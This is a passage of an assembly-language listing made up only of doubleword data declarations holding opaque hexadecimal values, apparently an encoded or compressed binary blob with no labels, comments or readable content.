		dd 20FAFC59h, 3C1DF10Fh, 2000E8FCh, 0D740A07Ah,	0C41ABED8h
		dd 0CEA62A80h, 0C04288B8h, 0E6A060B8h, 115FCB04h, 8480AD82h
		dd 0FC392Ch, 98FDDBDAh,	493431A6h, 2440084Eh, 7C043921h
		dd 0E828F91Ch, 138C43BCh, 160B5A3Fh, 0A2DC7498h, 32BBB2CCh
		dd 9E9BE057h, 1E250676h, 218977F4h, 2CBDD0Eh, 70FA2030h
		dd 748469FFh, 0DE0C1321h, 3A5C43BEh, 0F2C20A02h, 23EDB869h
		dd 953BA118h, 6600220Ch, 7E0F84F7h, 2EF5D1E3h, 40A4ED6Eh
		dd 209773E4h, 4EEA1C00h, 0B81EDF79h, 0B0E62839h, 0B91A07B8h
		dd 0C9D08605h, 0D4B6DCA2h, 0A6168490h, 7B77450Ch, 67ED1051h
		dd 275C595Fh, 858102Ah,	0A900D0D1h, 394504FCh, 0E6BCEAh
		dd 708A2E75h, 0C35028Ch, 1CA04098h, 78C2C1AEh, 58B28F4Bh
		dd 41B73ECCh, 2F19B131h, 880814ABh, 8F7CC021h, 4946D7EBh
		dd 9F002C52h, 0FD348F45h, 63F2F843h, 0B58C8A06h, 0A0C112D3h
		dd 8347F2D4h, 99821888h, 754860F0h, 183238Ch, 0CA781DE8h
		dd 88541857h, 1D1FEF05h, 9FAEBBA2h, 543F5C0Ah, 0A1D4DA0Fh
		dd 6518CB3Bh, 88381831h, 5F80C4C8h, 71FDEBDFh, 0C8700183h
		dd 0E6ED827Bh, 23C829C3h, 1DEC018Fh, 4AF7C97Ch,	0F3110048h
		dd 0C97D301Dh, 5D020881h, 0F4805343h, 9E31A714h, 0E538397Fh
		dd 0D566B2E4h, 8F20822Ch, 0ED95F8A0h, 90A8538Eh, 9CAAB914h
		dd 0B9794059h, 1E00B418h, 11786EC2h, 4AF9F41h, 49FA7F74h
		dd 5B508815h, 545E3928h, 0DC3FD607h, 91BB8A77h,	1418F568h
		dd 0D258171h, 3FA89605h, 23871C56h, 30FBF362h, 2D5CA00Bh
		dd 0AA00E77Bh, 0FD27790h, 7BBE33Fh, 49454793h, 83BEB538h
		dd 0E84A8794h, 0B023AC2Fh, 5C66F704h, 0E04058E2h, 0ED288C8Ah
		dd 0FF4CCF1Dh, 0F40CE0B4h, 9B771Dh, 19AE0D22h, 760B7AD3h
		dd 0C8487328h, 0FED55F04h, 0F4C8DB32h, 12A47E41h, 0F7B0AEDh
		dd 0C818879Ch, 6226095Fh, 0C704D01Fh, 0A890AF3Eh, 9A2ED8D5h
		dd 0B51C1EB4h, 4A60ECDDh, 0DF490ED0h, 54D33762h, 3C718C62h
		dd 318BDD1h, 9A8EBA00h,	5E1C453Ch, 42DD1D27h, 2AB2493Bh
		dd 0C6BBB417h, 0A290C100h, 0E3B9AC6Fh, 0CF874209h, 0ECA418BEh
		dd 0D68E05A3h, 6E4B10h,	8974CAC0h, 79D42C24h, 8C60E8A8h
		dd 0E7AC8950h, 7436BF41h, 79D87EF3h, 0DA00A6CBh, 6C4564E8h
		dd 1483C756h, 281695F7h, 0E6907780h, 249421D7h,	809458h
		dd 0E0DB7F8Fh, 0A7DAF0D3h, 0D7D0E41Eh, 0F820AE0Ah, 5E86CF03h
		dd 5AB00062h, 1B424A21h, 4498644Ch, 0B0C09606h,	0FE80838Ah
		dd 7ACB2C5h, 0F9D8EE09h, 0DC68002h, 4153197Ah, 0EFB2201Ch
		dd 38027C2Dh, 71ABEBBBh, 0E9A0D4E0h, 0D86C8224h, 38BA465Eh
		dd 72007312h, 7FD59DAFh, 54C486BFh, 0B6DCF0B2h,	150D8004h
		dd 4DE7657Bh, 61BB400h,	781762FFh, 8C51C0C2h, 0AA149FB8h
		dd 0B947DF00h, 0ACE6B492h, 0F8213CF3h, 0C71CFFD8h, 2F0242D5h
		dd 9482B1DFh, 0C2C2D482h, 0C88A5062h, 3C902090h, 9138A51Ch
		dd 0D98216BBh, 6D1A10CBh, 8446F044h, 771DE702h,	0D0674FCAh
		dd 1DEE0600h, 14A1E415h, 70A98BE0h, 77BF8300h, 8C2BC809h
		dd 0AC50B403h, 0A075403Dh, 26BC8F4Dh, 13D80BAAh, 3C0409B3h
		dd 360D005h, 0C3FAEBCCh, 4A5497Eh, 68F75181h, 8340FD26h
		dd 7BEB5B15h, 4E7C70h, 0AC56BE67h, 5A57BD72h, 0F204838h
		dd 0E04C4A97h, 5EBC46EEh, 248100ECh, 2574F352h,	0C997AC4h
		dd 5918BAD1h, 5E1BA400h, 57C3B7FAh, 2C88B868h, 80384DD6h
		dd 1760CB10h, 91270A3Bh, 11AC175Ah, 8F5C8EAEh, 842B32A0h
		dd 0DC91AA21h, 6E101058h, 25705050h, 130FB246h,	205BFB8Eh
		dd 1CBEEE90h, 2022F129h, 30AB36C2h, 309943EDh, 0DDD51200h
		dd 0EBD883F2h, 53BCCC28h, 0BD9B5C8Ch, 0B3E8972Ch, 0E0B07F79h
		dd 54027302h, 6B2EC980h, 0F28480B4h, 0B8ADBBD4h, 0BE41A0CCh
		dd 4FC9814h, 0F7E24CCFh, 0C848CBF8h, 0AAFBC044h, 90186AEFh
		dd 0D568C286h, 0AEA22E40h
		dd 0E1AA44F4h, 0C0301A6Ch, 35A8BE97h, 4028005Eh, 0EBD33862h
		dd 54096FE3h, 23A7C687h, 4ADD00h, 79EC7A39h, 8C1D7D0Fh
		dd 5B74D903h, 89A3EE72h, 9830D6E8h, 0A0A2608Eh,	9C0AC519h
		dd 0F0C02726h, 474674h,	5DF35725h, 54ECCF2Ah, 0F8D055h
		dd 0C6B9A553h, 4ED691F2h, 4F33A000h, 6B03AE1Dh,	7555015Dh
		dd 2B406984h, 8C8205B6h, 8EC72143h, 0F25034FEh,	26EDDB02h
		dd 0DAA47E24h, 3468008Ch, 4A05F49Ch, 39C0510Ch,	91DFE62Bh
		dd 0EDFF0070h, 0CE5C0973h, 6F128DF8h, 74A0C6D8h, 265127Eh
		dd 68A2B9h, 0DD60E325h,	7D87C770h, 34F3138Ch, 6C53145Bh
		dd 0B532EE08h, 10D1B609h, 3E7387FCh, 272F59CCh,	59112017h
		dd 2EC0B980h, 48026EC1h, 12415DE5h, 31CC80B5h, 5C47D33Bh
		dd 2C4C44AAh, 708CBBE8h, 0CDB200FDh, 2C3499B3h,	0D2F014F4h
		dd 390AE902h, 9316BFh, 0DA1F10D7h, 12A00E58h, 0E4004183h
		dd 450178EDh, 0DC1B0C12h, 3FB8C23Dh, 822E9A02h,	4860435Bh
		dd 2D83004h, 6EBDB577h,	0C0467DB7h, 8BC75324h, 18E49514h
		dd 78A19172h, 0C65D0128h, 0D55E2245h, 0D4002AC4h, 882F03D7h
		dd 0F41C007Eh, 5B777090h, 10286B9h, 147B188Fh, 0F57C6839h
		dd 22460090h, 18788F1h,	7C0C7FE4h, 8AFB514h, 705A0939h
		dd 20CAD1C8h, 214F3084h, 0AC428178h, 0EC2E31EFh, 0B5250D7Bh
		dd 28EC141Fh, 0AC1650h,	0AAEA80F8h, 0BCB323E8h,	3A5BC112h
		dd 38D74C90h, 10132612h, 0B0975A00h, 90804E11h,	37880AF3h
		dd 0B8B2FC91h, 812B30EEh, 0CD0D7C10h, 81134FE0h, 9DEB8617h
		dd 2113D2B8h, 0C81416A9h, 0F3008EC4h, 9A9CB63Dh, 3FD4AC5Eh
		dd 88081DFh, 744C323Bh,	37480A65h, 55841E4Ch, 0C4A08522h
		dd 9D6360BFh, 14D6EA49h, 941BCA08h, 0CC425B12h,	4302A3D8h
		dd 4AC60862h, 0FF90C8B1h, 53023CCFh, 5D7F50C8h,	231E0846h
		dd 0D07CE0BCh, 18AA8E32h, 5E7461F2h, 0A418D43Ch, 916DE9C0h
		dd 304D2524h, 90DB8709h, 24285F28h, 9207AF0h, 14224AEEh
		dd 97E2FFDDh, 3B8FFB80h, 5860DAF2h, 9B0407A9h, 0A452015Fh
		dd 0F90CD903h, 80002E2Bh, 0DBF4F21Ch, 0DE6358AEh, 9AC8112h
		dd 4A4C76Ch, 8CADA4h, 87DDD7CAh, 0BF7FE48h, 32C3DC29h
		dd 0CE5A4F00h, 0BB290702h, 3980D46Eh, 0FF886750h, 301F1C53h
		dd 0D506C0CFh, 2EBCACC1h, 7F0E7C90h, 2E1C5E2Ch,	0CF849F8Bh
		dd 8489E532h, 0C0199AE0h, 0C4E66220h, 4453A423h, 30C1E2E8h
		dd 0C8383883h, 0E4A9A686h, 0C04CC2BDh, 630310h,	9EA710CBh
		dd 0E2C8E0Dh, 0CEA67043h, 8775A5E4h, 5D132330h,	3F5B3912h
		dd 1149A820h, 3E28A051h, 6601F983h, 79F859CFh, 9EB87Ch
		dd 0BC740257h, 0B6244BABh, 80AEE13Bh, 0E5B25E42h, 0C6E6FF6h
		dd 0C0F33868h, 70985978h, 12D4BC4Ch, 5C60395Bh,	80211284h
		dd 0A09834D9h, 88CB3C09h, 95147849h, 607F1484h,	252CD379h
		dd 10E5E63Bh, 0D381FE80h, 234571h, 2AB15C1Dh, 183A1E0Bh
		dd 92C60C09h, 0DF90C0ABh, 9D0926F6h, 4176133Dh,	0C3C10340h
		dd 140B2EB8h, 0E92468EEh, 0DEFB0366h, 48838A31h, 877AF180h
		dd 0A840D04Ah, 7C73275Fh, 687F49E3h, 0FC887215h, 32364D00h
		dd 96B140AAh, 38E75C03h, 0D331704Bh, 0C4107B6h,	31E2EC3Ah
		dd 0E4F00BF4h, 0BE09DB3Fh, 82760A3Eh, 80114AF8h, 6852648h
		dd 0EC171312h, 84D827D5h, 0DC2C4557h, 5270C8h, 0AF6CC7AEh
		dd 8377DECAh, 0E0279907h, 0E9D0AC66h, 327685h, 2195D5E3h
		dd 6509195Eh, 8280E748h, 8414A623h, 826046C4h, 3B2F19D3h
		dd 99C169Eh, 43D38B05h,	0CC839D00h, 7C4C617Eh, 3122A2F0h
		dd 0D7EAFC7Bh, 40708124h, 44A058h, 5BE0528Fh, 0BE768346h
		dd 6181D102h, 4CFEB9C1h, 865B1298h, 397C0170h, 44729C23h
		dd 828481E8h, 38F205AFh, 9130B0F2h, 0B4A1507h, 1604B449h
		dd 0D038BB3Bh, 3F867DA8h, 0AC00234Fh, 758B8791h, 2E4B171h
		dd 0DA69611Ch, 51DB03h,	26ABD6D9h, 0A3F8F7EFh, 0C26A898h
		dd 0F4A08CA0h, 84498E26h, 23BBA942h, 72C051B1h,	0CE051994h
		dd 95D82774h, 0E8B35BC5h, 0E8E35873h, 203016C9h, 1977D8ADh
		dd 3B081797h, 8BA20346h, 0E845195Ch, 582A40D7h,	0C1A7E016h
		dd 8118E2D8h, 783EDD18h, 51F2952Fh, 1854D900h, 67650177h
		dd 86CAE5B1h, 0BEB4576Ah, 0B503B0D5h, 42F8125Ch, 9A3A09D0h
		dd 52875907h, 0D881E76Bh, 9CBF610h, 0F72F0190h,	36149841h
		dd 5E5C0900h, 7156054Ch, 3EC7D0E4h, 9E802AD0h, 496A4F30h
		dd 0ED00BF79h, 0EF6345D6h, 2432B1Eh, 4E19B2AEh,	0D0597206h
		dd 3B186D79h, 42644900h, 0B7ECB3D4h, 26327A7Fh,	99488C1Bh
		dd 6953A897h, 0DE9D15F0h, 803B5BACh, 0C9004823h, 0EF2C6953h
		dd 0C8330382h, 3BD627CAh, 0C0604DE2h, 0F3176185h, 0B7B05787h
		dd 0A4BD4C2Ch, 5B4C6222h, 8CAFBCD0h, 0DD8F7503h, 0F5EDE0Ch
		dd 0AC0AC649h, 0F4B04F84h, 5D4E385Ch, 0BFC868CEh, 0E4A4F6C0h
		dd 3DFF427h, 0FDD65E37h, 890FB8A9h, 80C2A230h, 0B1DAA05h
		dd 0A72169Bh, 0A30C0143h, 0A587C0EDh, 0E498C5B8h, 0D64760A8h
		dd 0DA9403FAh, 24B56855h, 39D749B8h, 72B4E8A0h,	0F0C78C81h
		dd 9D5075DEh, 0BD91AC9Dh, 99601E80h, 0CE058FC3h, 0AB373ECAh
		dd 0F601F88Bh, 8D831681h, 6C637Ch, 0D6DA5890h, 6D0E18Bh
		dd 77F3BF4Dh, 0B00618Ah, 2387FC66h, 1633A2FAh, 2159D5ACh
		dd 80907238h, 2ABA7629h, 9FA993BEh, 98C76C20h, 0DA0B7C62h
		dd 831961F2h, 0A02246B4h, 8101860Dh, 0D76060CAh, 0A0847288h
		dd 0FAB2628h, 0FD47730Ch, 0F0B42080h, 4000D1CDh, 2B414D3Ch
		dd 9C0749ECh, 0F2E4180h, 9238728Dh, 1AE05CB6h, 310053D9h
		dd 49F80C03h, 14C37E5Eh, 0DC61C023h, 6958092Eh,	0D57260F3h
		dd 473930E0h, 83ECE30Bh, 1D4C481h, 30FAF007h, 704B5F98h
		dd 74A011F4h, 62208867h, 0D5DD02BEh, 0D8BB3C65h, 0AE2170C6h
		dd 5CD826B5h, 0FD01AD46h, 6CEFE4F0h, 25C0233Ah,	473425EEh
		dd 1A073680h, 6B36010Ah, 9BC8914Fh, 0BBCFDCCAh,	0B7998C2h
		dd 671062EEh, 60ACC4B4h, 24931DCh, 0B7A73D28h, 50F8E639h
		dd 0CB306913h, 129DECE0h, 0C0FED5ABh, 0B453A78h, 0B0A78E3Ah
		dd 0D58D11C4h, 10B850F2h, 64945C63h, 0E48CACE8h, 95A40738h
		dd 65D7F25Ch, 0C918909Eh, 0B0580B3Eh, 0C339B124h, 547380E3h
		dd 0D680046Eh, 0A321C42Ch, 0C1450B0Ch, 0DC5900F7h, 5B6D873h
		dd 397DE647h, 7004C02Ch, 8800D2C8h, 3F0FD17Eh, 2553FFBCh
		dd 3C976BF4h, 6380BE11h, 32CDBB4Eh, 0E844ED2Ah,	7F71CF00h
		dd 0AB18F6B0h, 0F976730Bh, 45EB9842h, 60952DA4h, 0CB9F5691h
		dd 0CCB1FD15h, 0C1EAC8C9h, 0D404A15Ch, 8C58B8D0h, 0DA01507Dh
		dd 0E99893E0h, 0C4408273h, 0B5A1631Fh, 4511DC1Dh, 8A354382h
		dd 89C066E3h, 0F300853Ah, 9AE622EFh, 979D270h, 0C3C8C677h
		dd 4578BC71h, 0E1008696h, 0B03F867Fh, 0C6F96Eh,	410C5A38h
		dd 6BA4D33Bh, 2CCE744Bh, 0B1C0B988h, 0B3BCF6Eh,	55FBE7D2h
		dd 8A17807Fh, 92C8C5Ch,	61CCD339h, 0EE621092h, 77E49083h
		dd 3CCA528Ah, 0D69C54h,	8821A355h, 0BADE7322h, 0C608DB0Bh
		dd 4784424Fh, 60AB4440h, 8545C0h, 17E2F767h, 4D4E9714h
		dd 286D1D48h, 8CA050D6h, 87278AC9h, 0E5F421CAh,	21808E77h
		dd 4269920Dh, 7AE49962h, 53640BB7h, 0A4A170E8h,	0C0F78804h
		dd 74C19D6Eh, 5900B86Fh, 12487E40h, 0BEA91BF8h,	80CCBA89h
		dd 0AC617586h, 3FE32F8Dh
		dd 0A71BF020h, 80005470h, 778ED1CCh, 5623921h, 7AA16D0Ch
		dd 0E808E5EEh, 74000B35h, 89138E17h, 0D85348h, 7609D95Eh
		dd 11100D42h, 8E5CF802h, 0C4AA7717h, 84E200BCh,	0A579B99Ch
		dd 34203239h, 608B037Ah, 49FD8306h, 3C72A9EAh, 0C05DC800h
		dd 9AD5B7BFh, 94E00065h, 9C857ED4h, 5E3B147Ch, 0E44F8A28h
		dd 0D012BC8Ah, 0A03EEB00h, 0B646405Ch, 0BCA40CC0h, 0BDF0F651h
		dd 72DE9030h, 58C3C2CCh, 5426E358h, 433E0518h, 0B2F0E3ABh
		dd 4A363045h, 8BB73039h, 66F6B30Dh, 4834CA0h, 0D88F7716h
		dd 3CE617A0h, 8C6F3802h, 0D145CD14h, 0BD112Ch, 2327A940h
		dd 2B38B04h, 7B0C3926h,	0A859C3C7h, 0B8C86BA5h,	9418CB39h
		dd 233A50CCh, 14680C2Eh, 7969E853h, 0EF802DB4h,	624780CFh
		dd 47E148F0h, 0C72C0144h, 8BB9C577h, 0EC243005h, 245C6E42h
		dd 2C8CC2ACh, 40F4ED4Dh, 0FAAA8BACh, 7E1613Ah, 0D189630Eh
		dd 0E670CC39h, 0F8C20229h, 0A38BE39h, 0CC011054h, 0F911962Ah
		dd 43B83068h, 0F8283C8Ch, 9B5AA853h, 0EA648258h, 6CDC6094h
		dd 20BA4A98h, 0E9EB91FCh, 33B9AE01h, 10C71B9Ah,	187932E1h
		dd 23C42ED2h, 880701C1h, 746E904Fh, 0DB00F408h,	0C55C9E93h
		dd 48318623h, 331380DAh, 0C880CEA4h, 76DDC047h,	2800D0B1h
		dd 1227D637h, 0A6831A08h, 608D52CCh, 0AF30BCE2h, 92F3F59h
		dd 1B3A1682h, 0DC4A44CCh, 0ED4560C0h, 8982CE4h,	0DB11C717h
		dd 0A75FBC90h, 0D23A00E7h, 0AAF4E87Ch, 0C80052C9h, 2BBBEEA5h
		dd 1236F06Bh, 1158011h,	86F6FB10h, 0A20033FCh, 0C473042h
		dd 0AEC9173Ah, 46D6505Ch, 9D990053h, 8D63A60Dh,	9E7CBAAFh
		dd 0CD11409Ch, 293C619Bh, 0F4EF8032h, 2A509A07h, 0A3422D2Bh
		dd 0F923833h, 8023C300h, 408E8254h, 16F8B285h, 0FCC810FCh
		dd 0CE273258h, 5879A8C0h, 6D9E9D12h, 2476C4B3h,	8058BAA9h
		dd 0A8722C07h, 5F04246Ah, 0ED11814Ah, 146E0B4h,	21065EF3h
		dd 6CA1D8F2h, 74122814h, 49B4A430h, 0E138709h, 0C0E3EDD5h
		dd 8BD94260h, 0C409018Fh, 50E76849h, 0EE8A0F24h, 0D68AC536h
		dd 0AF480C0h, 875A3941h, 51A5D032h, 5B8C6CE5h, 8F4490A9h
		dd 840074C9h, 3A526F26h, 718B421h, 93FDC3E4h, 0C98005FFh
		dd 0B460D62Ch, 140E7B15h, 0F2A69C8Bh, 5D13C98h,	0F206436Ch
		dd 0E8B864F4h, 8C59BC0Ch, 0F900E6E2h, 12D54CD7h, 0BC5954BCh
		dd 20736934h, 72B9550h,	43237A72h, 0C013A41Fh, 7460B8C4h
		dd 801437B5h, 636BAA3Fh, 0A83DC719h, 2C224B1Dh,	5E60D60Fh
		dd 1900AD46h, 8480C9BCh, 70924DDBh, 50A22B0Fh, 8EF94059h
		dd 76F8FEh, 2A14E4C9h, 0DAFBE833h, 0BB3AFA09h, 14CF860h
		dd 41366C6Eh, 12395B50h, 1205CC5h, 0B31DFFBCh, 0ACB02D59h
		dd 216200A4h, 402A3D98h, 1040BE09h, 0F47549C7h,	0EF36C982h
		dd 8AD2CF8h, 0D4998D60h, 917A1Ch, 8B66DFFEh, 0DAA0E53Fh
		dd 0C01BCC00h, 0B99F34Ch, 0D22604C7h, 80770589h, 954A6465h
		dd 838D1700h, 0FE8A6716h, 0CF85EE34h, 9020B150h, 2EEE083Dh
		dd 3E10210Eh, 21BC8C2Fh, 30CB04Bh, 97A3C460h, 701EBB74h
		dd 0E9800B8Dh, 0D36389D0h, 0D7ED51h, 0DFFBA5A1h, 1070277h
		dd 0F0A8D19h, 219F9008h, 0DEE0474Ah, 67788086h,	121F4F07h
		dd 229C0B6Bh, 0B7031580h, 29216CD6h, 5958668Dh,	0FEC19B9h
		dd 0F06EE939h, 7100A60Bh, 1C6A7DC0h, 0C0D0DD7Ah, 3BB48588h
		dd 4A0165CEh, 5389ACA8h, 0BAD1AD60h, 440D2183h,	0F6F0EDCEh
		dd 6501A998h, 46037172h, 8440A7E1h, 30F3479h, 6A89D1BDh
		dd 0B023C448h, 906400FDh, 2F06083Eh, 4ABD4486h,	61904C00h
		dd 98727411h, 0AC64530Bh, 0F50C4323h, 0E15780DFh, 20D6AC4Dh
		dd 0DADFFC3Ch, 87895218h, 580F7D4Ah, 8C00577Ch,	4A1DAE3Fh
		dd 693E1541h, 0F84561Ch, 0E867CE3Dh, 40C0C4B8h,	0F1CE460Fh
		dd 0C197006Ch, 0AB8DCA6Ah, 16198237h, 0FD8181E9h, 0C48DCh
		dd 0D7260884h, 0E7B8B946h, 9D218267h, 59C224F0h, 0C81B01DBh
		dd 408FF253h, 0DE3441DDh, 0BE0C029h, 2DC7D500h,	3679BAC5h
		dd 0F8470003h, 9CEEEF6h, 25514050h, 10CDDECh, 40800EECh
		dd 0A001E3D4h, 0FA4C05EDh, 200D019Dh, 93D3FD3Ch, 50549EF4h
		dd 0D4ADCB4h, 1C8DFF08h, 3BDDFC40h, 39909548h, 3B1EFE8h
		dd 88CA2018h, 68B9256h,	8FA08C67h, 825428A5h, 171906E0h
		dd 0D5480196h, 838BCBE8h, 0FD15600Fh, 6498BBFh,	7C18A1D2h
		dd 5C13306h, 96F04730h,	49807F87h, 0D38D09D2h, 0E00F2BF3h
		dd 93CF9E40h, 0E937CCCEh, 1EA0715Dh, 60D96FE8h,	9480A98Ah
		dd 0CB358DAFh, 300190BBh, 0D3DD7E19h, 0A1F9AC50h, 0E1491CDh
		dd 810EF702h, 0BD200092h, 7AA39B50h, 1BC1390Fh,	2C4052F0h
		dd 0E09A7384h, 49CE60E2h, 5D8F4539h, 5B6B702h, 6041FA84h
		dd 86350428h, 43904D02h, 192F3E08h, 555110B5h, 0FF9090h
		dd 3B249F88h, 3A626B0h,	3AF5C70Ah, 8D088CFCh, 2FD98178h
		dd 0C43975A8h, 9F50114Eh, 0C20077E0h, 0A022EACBh, 0B0D3847Ch
		dd 59CF004Ch, 0E5466C1Ch, 40C1E009h, 1E5E1704h,	0CC295880h
		dd 2FCEE30Dh, 7A012C00h, 0EB4C90B9h, 20921Fh, 0F4C971FCh
		dd 0D09E1499h, 0A974A17Fh, 53210761h, 61D4C87Ah, 0C33600BAh
		dd 2B9FFD4Bh, 8949C77Eh, 0BC5F2A20h, 0A644E0A7h, 0EECA3160h
		dd 7E14BA00h, 0A8EDBC53h, 81392AF4h, 4E3F00A0h,	0B7E02916h
		dd 300229Eh, 7709CAD6h,	3CB6CF47h, 410028D8h, 3CF36B98h
		dd 960FDD10h, 79FC0F6h,	0DAC0CCF2h, 306F70DFh, 16D914EBh
		dd 60000888h, 316C37D7h, 13E80FB5h, 8773CA6h, 0FF11DC6Ch
		dd 44905F9Eh, 322EF608h, 4E4C20B4h, 0AD008690h,	0CE96AF31h
		dd 238529Eh, 0DD50729Fh, 2060398Bh, 0C97BEE91h,	7CA096A2h
		dd 41096085h, 0D8785861h, 5C25CFB3h, 3B10042h, 7293338Dh
		dd 80843000h, 9608794Ah, 20A96054h, 48D1D1Ch, 20D95029h
		dd 3275B2C2h, 604FD804h, 2375DFF9h, 8C11F703h, 564826h
		dd 7132B0BFh, 19C07DE8h, 0EAA98F99h, 52FD3E21h,	0EF007C22h
		dd 73B9F9BEh, 58D097C4h, 8FBC9C60h, 4C9B838Ch, 79802006h
		dd 4808AF6Bh, 814BEA00h, 0CEDBB20h, 2FA90003h, 83696D52h
		dd 31C08934h, 60A1ADB0h, 0D710008Bh, 48CB065Ch,	509A1FE5h
		dd 717EE630h, 63A2C585h, 9AE839BBh, 0AE201900h,	0B5B3454Ah
		dd 0C3B930E9h, 3565C098h, 0D8FB8932h, 6C84324Ch, 0CB38D478h
		dd 345005Ch, 0EE541DE0h, 17680534h, 1BE414Eh, 87DB97D4h
		dd 55B060B3h, 3F26D78h,	0E858CF70h, 448A803Ch, 2E63F22h
		dd 502DDB52h, 5840C8D3h, 9050BADCh, 58C45ECh, 373DFF7h
		dd 59A48E67h, 5CE100B0h, 16A6B4D3h, 8F82264Eh, 4F5032C4h
		dd 7204186Ch, 1C99F5C9h, 56200462h, 0B7C87Bh, 2E9F2AF5h
		dd 0BF93347Ah, 3602D0C1h, 0E8BFAA18h, 447FD001h, 8094E84Ch
		dd 156D1389h, 1DEF1EA7h, 411A6701h, 0EBA24FD7h,	0A234738Ch
		dd 389D30B9h, 963FA700h, 0E830CD0Fh, 484842h, 0E8907F22h
		dd 0B38D4B06h, 6118234h, 0EB3B1BDCh, 943EB8B6h,	17E16752h
		dd 18D3CD2Fh, 52B536E8h, 582394FBh, 0F8C87501h,	3187499h
		dd 7E5F88h, 50BA62C8h, 1BDD4839h, 92908A62h, 7E58E1D9h
		dd 0CE044718h, 0AD484A51h, 1120B832h, 778CE50h,	22E1A31Ah
		dd 7D41B019h, 0CCB03CFEh, 801B94Ah, 8C3785D1h, 64706880h
		dd 0BD44DB6Dh, 0AF95D40Bh, 0FFF423A2h, 0EC5926BEh, 0AA3D4398h
		dd 389E3490h, 981B5E02h
		dd 602C67D3h, 31EA6428h, 34288A19h, 74C05090h, 0F849E60Bh
		dd 80FF7C24h, 704E0A19h, 270C25h, 0F73AE419h, 16884BA0h
		dd 0A86BAA30h, 18063EF6h, 106CFEAFh, 44B9DD53h,	0C420C11Eh
		dd 2168A8h, 304EC296h, 3398120Dh, 4A05CDFh, 80A8C49Eh
		dd 8AEDA138h, 0D8A954B1h, 0C1189371h, 5B57F800h, 0B7212C22h
		dd 4A720405h, 803A7B8Dh, 0C4D0861Ch, 5429952Eh,	0C2C70686h
		dd 0DD510BD1h, 0D000858Eh, 44509491h, 1C84ACAAh, 0C877605Ah
		dd 449912FAh, 61B02CA9h, 0CEC84002h, 40C46850h,	2A6D0551h
		dd 0A7BC84EAh, 60044444h, 0DD8A6Fh, 0FB71F23h, 0E7AAE1BCh
		dd 950FE499h, 264E7C1h,	880BD661h, 4589C5F0h, 46A8028Ah
		dd 1CDFF630h, 215F0372h, 13FC4BEh, 38B4DFFDh, 0C4AA341Eh
		dd 0A107D840h, 0E7249D94h, 8A82D4CAh, 8FA26837h, 213C35E0h
		dd 5C38AC85h, 79098F46h, 0ED01F066h, 238E0C5Bh,	4F940A18h
		dd 398C8C11h, 566984h, 0C52F0443h, 0F63D5440h, 104997A0h
		dd 1ED5A91Ah, 0F1D88F30h, 53CE4980h, 448C584Ah,	520013BAh
		dd 0A30769CEh, 1FBE30Ch, 4A7B0593h, 207DC795h, 78E46B74h
		dd 4E46D8B8h, 0F6C97302h, 9316499h, 0C87C5510h,	0E56B0300h
		dd 6A9C5B83h, 0FB1B00C5h, 0BCFC99Ah, 8586680Dh,	6093C4DCh
		dd 0B69BD7Dh, 4AC182A1h, 0C02B5802h, 0D53E8400h, 9DD8A28Fh
		dd 8303116Ch, 0C90AF3FFh, 1AF1E3C5h, 43B448FEh,	0B06B003Ch
		dd 17060944h, 0AC9011B6h, 9339F319h, 106267C1h,	3D30BAF2h
		dd 932C0C04h, 0F6198B34h, 0E7B65404h, 3B82BA17h, 2A04E40Ah
		dd 0E0C8E2h, 1376DD4Bh,	271ECC8Ah, 0BB0A2DF0h, 0D8BA63DFh
		dd 7465Eh, 92322D60h, 167786C9h, 4B1EF7Bh, 30350278h, 21499053h
		dd 4FC04E08h, 1DF905Bh,	0A1AAB328h, 0C2562707h,	0C2C59484h
		dd 0CED60C5h, 850C2AC0h, 0E3E929BCh, 46820080h,	32C0552Ch
		dd 0DD6E2A01h, 0CDB0C283h, 126A219Dh, 3E88607Bh, 4A1064CEh
		dd 0B7C8ACB0h, 70060E96h, 7805E8Eh, 0BD1F3219h,	0DB9980CCh
		dd 34B02DA7h, 889190E0h, 721805D1h, 10846158h, 9300105Dh
		dd 9E388C33h, 58908A14h, 0E899B607h, 0C98996C4h, 0FBF4AF74h
		dd 297D24BFh, 0DB0338FFh, 6EA9B499h, 0D42161AFh, 624C62E5h
		dd 7202BA30h, 807B728Ch, 0FC910582h, 9910EB0Ch,	28150314h
		dd 0DA57E28Bh, 5ABC9DF0h, 3801EE07h, 81A9F606h,	0E097FDC2h
		dd 2C424421h, 0C876305Bh, 7C99F908h, 400A64A9h,	0A7C83F62h
		dd 35C201E7h, 0E32010B5h, 968980C1h, 4B0FF9EFh,	7B9F0705h
		dd 60D67764h, 33AF904Fh, 0EB71B006h, 37806CFAh,	7039C2E3h
		dd 0FD89767Eh, 657831Fh, 0C626FE3Ch, 0D6026443h, 415FBF94h
		dd 0FA185234h, 276DF0Bh, 81CFFh, 0DFA1B8B3h, 0F19556F7h
		dd 857B4779h, 74622F00h, 3FA2A65Ch, 6DF400B4h, 8F71A4E0h
		dd 37EA4293h, 27B3E51Fh, 0C8A548C1h, 2080E14Eh,	3503FE66h
		dd 210367C6h, 0E95F6A96h, 20F9A295h, 0D734FC25h, 3B0F8BEAh
		dd 0A477913Ch, 5059E420h, 0C64019C7h, 0A41967C5h, 24F64428h
		dd 0AD34FB00h, 124756AFh, 0FD680069h, 42B5D71Bh, 8D049F6Eh
		dd 0AB6C7576h, 0F72DDE01h, 79D0D3E7h, 8700D5CCh, 153425D8h
		dd 6363E9Dh, 0C6BD720Fh, 0C40031A8h, 2E3D29D0h,	33E28AEEh
		dd 0B908B625h, 0C8EB2103h, 1091129h, 9B9FED48h,	0BDC5DBF3h
		dd 817D8280h, 3A644EEh,	3907AC97h, 616530B3h, 0AC0472A5h
		dd 0DF00885Ah, 0F264764Ah, 0F62881F9h, 0B3AB039Ah, 0B3D5080h
		dd 5A693FFEh, 0AF7FEF00h, 0E22867ACh, 51F514B3h, 0D03A8CDEh
		dd 6A593277h, 0E9C08611h, 2A06EFCBh, 22E775C9h,	21836008h
		dd 0A6682FA7h, 0FC03F00h, 16727AC5h, 0DDD71B2Bh, 68033C3Ah
		dd 8D2E66DBh, 9100A475h, 0FAFDA1BEh, 0A902AA0Ch, 0C08709F2h
		dd 0A1B6B121h, 4D2841D9h, 0B746AC39h, 3729CA02h, 0BB31BE2Eh
		dd 29C2E510h, 6D035DFEh, 2F42673Ah, 9C883E98h, 0F4E83C48h
		dd 0F105038Ch, 9D75C7F7h, 12A3D1F8h, 34EDAD40h,	2EB9BE2Ah
		dd 0F862374h, 9BA22D03h, 0E487A0FEh, 7628EA8Dh,	321C8946h
